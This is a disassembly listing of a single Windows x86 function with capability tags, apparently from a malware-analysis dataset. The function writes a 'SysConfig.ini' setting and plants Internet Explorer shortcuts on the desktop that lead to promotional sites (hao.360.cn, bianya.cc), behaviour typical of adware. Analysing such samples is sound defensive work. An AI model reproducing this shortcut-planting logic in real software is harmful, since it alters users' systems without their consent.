Function at 0x41c210
Capabilities:
Create directory
Get common file path
Print debug messages

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x44210a
mov eax, dword fs:[0]
push eax
sub esp, 0x4d8
mov eax, dword [0x45166c]
xor eax, esp
mov dword [esp + 0x4d0], eax
push ebx
push esi
push edi
mov eax, dword [0x45166c]
xor eax, esp
push eax
lea eax, [esp + 0x4e8]
mov dword fs:[0], eax
mov edi, ecx
mov ecx, dword [edi]
mov eax, ecx
mov dword [esp + 0x18], edi
lea esi, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c260
sub eax, esi
jne 0x41c272
xor al, al
jmp 0x41c8db
lea eax, [esp + 0x140]
mov dword [esp + 0x13c], eax
xor ebx, ebx
push ecx
or eax, 0xffffffff
lea esi, [esp + 0x140]
mov byte [esp + 0x144], bl
call fcn.00413e70
push 0x4468f4
mov eax, esi
mov dword [esp + 0x4f4], ebx
call fcn.00413d70
mov ecx, dword [0x454434]
mov edx, dword [ecx + 8]
push edx
mov eax, esi
call fcn.00413d70
mov eax, dword [0x454434]
mov eax, dword [eax + 4]
lea ecx, [esp + 0x1f8]
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1f8]
mov dword [esp + 0x1f8], ecx
mov byte [esp + 0x1fc], bl
call fcn.00413e70
push 0x449280
mov eax, esi
mov byte [esp + 0x4f4], 1
call fcn.00413d70
lea edx, [esp + 0x14]
push edx
push 0x19
push ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x41c332
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x3d4]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp byte [ebp + 8], bl
je 0x41c365
mov edi, dword [edi]
mov eax, dword [0x454434]
mov edx, dword [eax + 4]
mov ebx, dword [esp + 0x13c]
push edi
lea ecx, [esp + 0x3d8]
push ecx
mov ecx, dword [esp + 0x1fc]
xor edi, edi
call fcn.00413af0
mov edi, dword [esp + 0x18]
xor ebx, ebx
lea edx, [esp + 0x240]
mov dword [esp + 0x23c], edx
mov byte [esp + 0x240], bl
sub esp, 0x44
mov esi, edi
mov edi, esp
mov byte [esp + 0x534], 2
mov ecx, 0x11
rep movsd dword es:[edi], dword [esi]
push str._sDataSysConfig.ini
lea edi, [esp + 0x284]
call fcn.00414360
add esp, 0x48
cmp byte [ebp + 8], bl
je 0x41c3b8
mov eax, dword [esp + 0x23c]
push eax
push 0x4492a0
jmp 0x41c3c5
mov ecx, dword [esp + 0x23c]
push ecx
push 0x4492ac
push str.AddDtop
push str.SysConfig
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp byte [ebp + 0xc], bl
je 0x41c574
lea edx, [esp + 0xb0]
push str.http:__hao.360.cn__srclmlsn6defa60989
or eax, 0xffffffff
lea esi, [esp + 0xb0]
mov dword [esp + 0xb0], edx
mov byte [esp + 0xb4], bl
call fcn.00413e70
lea eax, [esp + 0xf8]
mov dword [esp + 0xf4], eax
push str._ProgramFiles_Internet_Explorer
or eax, 0xffffffff
lea esi, [esp + 0xf8]
mov byte [esp + 0xfc], bl
call fcn.00413e70
lea ecx, [esp + 0x68]
push 0x449300
or eax, 0xffffffff
lea esi, [esp + 0x68]
mov dword [esp + 0x68], ecx
mov byte [esp + 0x6c], bl
call fcn.00413e70
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
lea edx, [esp + 0x20]
push ecx
or eax, 0xffffffff
lea esi, [esp + 0x20]
mov dword [esp + 0x20], edx
mov byte [esp + 0x24], bl
call fcn.00413e70
push str.icon360.ico
mov eax, esi
mov byte [esp + 0x4f4], 6
call fcn.00413d70
mov edx, dword [esp + 0xf4]
mov edi, dword [esp + 0x1c]
mov ecx, dword [esp + 0x64]
mov ebx, dword [esp + 0xac]
push edx
lea eax, [esp + 0x3d8]
push eax
mov edx, 0x449324
call fcn.00413af0
lea ecx, [esp + 0x184]
push ecx
call fcn.004161f0
mov byte [esp + 0x4f0], 7
cmp dword [esp + 0x194], 0
jbe 0x41c4fe
lea eax, [esp + 0x184]
call fcn.004162a0
lea esi, [esp + 0x184]
call fcn.00416310
mov edx, esi
push edx
call fcn.00416490
mov ecx, esi
call fcn.00416c20
mov eax, esi
push eax
call fcn.00417050
mov ecx, esi
call fcn.00417130
lea esi, [esp + 0x184]
call fcn.0041de00
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
cmp eax, ecx
je 0x41c51f
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [esp + 0x64]
lea edx, [esp + 0x68]
cmp eax, edx
je 0x41c534
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [esp + 0xf4]
lea ecx, [esp + 0xf8]
cmp eax, ecx
je 0x41c54f
push eax
call fcn.004244b1
add esp, 4
mov byte [esp + 0x4f0], 2
mov eax, dword [esp + 0xac]
lea edx, [esp + 0xb0]
cmp eax, edx
je 0x41c572
push eax
call fcn.004244b1
add esp, 4
xor ebx, ebx
cmp byte [ebp + 0x10], bl
je 0x41c888
lea eax, [esp + 0x14]
push eax
push 2
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x41c5ad
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x2cc]
push ecx
push edx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea edi, [esp + 0x2cc]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x41c5b5
mov cx, word [0x4468f4]
mov edx, dword [0x454434]
mov word [edi], cx
mov eax, dword [edx + 4]
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x41c5d2
lea edi, [esp + 0x2cc]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x41c5e3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
lea eax, [esp + 0x2d0]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x2cc]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, dword [esp + 0x18]
mov eax, dword [edx]
mov ecx, dword [0x454434]
mov edx, dword [ecx + 4]
mov ecx, dword [esp + 0x1f4]
mov ebx, dword [esp + 0x13c]
push eax
lea eax, [esp + 0x2d0]
push eax
xor edi, edi
call fcn.00413af0
lea ecx, [esp + 0x188]
xor bl, bl
push str.http:__www.bianya.cc_
or eax, 0xffffffff
lea esi, [esp + 0x188]
mov dword [esp + 0x188], ecx
mov byte [esp + 0x18c], bl
call fcn.00413e70
lea edx, [esp + 0x288]
push str._ProgramFiles_Internet_Explorer
or eax, 0xffffffff
lea esi, [esp + 0x288]
mov dword [esp + 0x288], edx
mov byte [esp + 0x28c], bl
call fcn.00413e70
lea eax, [esp + 0x68]
mov dword [esp + 0x64], eax
push 0x449344
or eax, 0xffffffff
lea esi, [esp + 0x68]
mov byte [esp + 0x6c], bl
call fcn.00413e70
mov byte [esp + 0x4f0], 0xa
mov ecx, dword [esp + 0x284]
mov ebx, dword [esp + 0x184]
push ecx
mov ecx, dword [esp + 0x68]
lea edx, [esp + 0x2d0]
push edx
mov edi, str._ProgramFiles_Internet_Exploreriexplore.exe
mov edx, 0x449384
call fcn.00413af0
lea eax, [esp + 0x2cc]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x41c6f0
mov ecx, dword [0x449390]
mov edx, dword [0x449394]
mov dword [eax], ecx
mov cx, word [0x449398]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x2d0]
push edx
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebx, dword [esp + 0x18]
mov ecx, dword [ebx]
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], eax
push ecx
or eax, 0xffffffff
lea esi, [esp + 0x20]
mov byte [esp + 0x24], 0
call fcn.00413e70
push 0x4468f4
mov eax, esi
call fcn.00413d70
mov edx, dword [0x454434]
mov eax, dword [edx + 0x10]
push eax
mov eax, esi
call fcn.00413d70
lea ecx, [esp + 0xf8]
mov dword [esp + 0xf4], ecx
mov byte [esp + 0xf8], 0
mov edx, dword [0x454434]
mov eax, dword [edx + 4]
push eax
push 0x44939c
lea edi, [esp + 0xfc]
call fcn.00414360
lea ecx, [esp + 0xb8]
mov dword [esp + 0xb4], ecx
mov byte [esp + 0xb8], 0
mov byte [esp + 0x4f8], 0xd
mov edx, dword [0x454434]
mov eax, dword [edx + 4]
push eax
push 0x4493a8
lea edi, [esp + 0xbc]
call fcn.00414360
mov ecx, dword [ebx]
mov ebx, dword [esp + 0x2c]
add esp, 0x10
push ecx
mov ecx, dword [esp + 0xf8]
lea edx, [esp + 0x2d0]
push edx
mov edx, dword [esp + 0xb4]
xor edi, edi
call fcn.00413af0
mov eax, dword [esp + 0xac]
lea ecx, [esp + 0xb0]
cmp eax, ecx
je 0x41c80d
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [esp + 0xf4]
lea edx, [esp + 0xf8]
cmp eax, edx
je 0x41c828
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
cmp eax, ecx
je 0x41c83d
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [esp + 0x64]
lea edx, [esp + 0x68]
cmp eax, edx
je 0x41c852
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [esp + 0x284]
lea ecx, [esp + 0x288]
cmp eax, ecx
je 0x41c86d
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [esp + 0x184]
lea edx, [esp + 0x188]
cmp eax, edx
je 0x41c888
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [esp + 0x23c]
lea ecx, [esp + 0x240]
cmp eax, ecx
je 0x41c8a3
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [esp + 0x1f4]
lea edx, [esp + 0x1f8]
cmp eax, edx
je 0x41c8be
push eax
call fcn.004244b1
add esp, 4
mov eax, dword [esp + 0x13c]
lea ecx, [esp + 0x140]
cmp eax, ecx
je 0x41c8d9
push eax
call fcn.004244b1
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x4e8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4d0]
xor ecx, esp
call fcn.0042396b
mov esp, ebp
pop ebp
ret 0xc